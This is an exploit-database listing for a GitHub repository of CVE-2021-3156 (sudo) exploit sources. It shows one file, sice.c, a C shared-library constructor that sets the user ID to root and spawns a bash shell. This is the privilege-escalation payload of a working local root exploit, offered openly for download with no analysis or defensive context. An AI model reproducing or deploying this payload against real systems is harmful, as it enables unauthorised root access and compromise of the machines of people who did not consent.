Exploit databaseDownload repository ZIP
GH-88600417d8b6951c48f5848f57efeba7
redhawkeye/sudo-exploit
Sources for CVE-2021-3156
85 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
redhawkeye/sudo-exploitRevision 9505e0ee57dc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
sice.c
C · 176 bytes#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
__attribute((constructor))
static void sice() {
setuid(0);
system("id");
system("bash");
exit(0);
}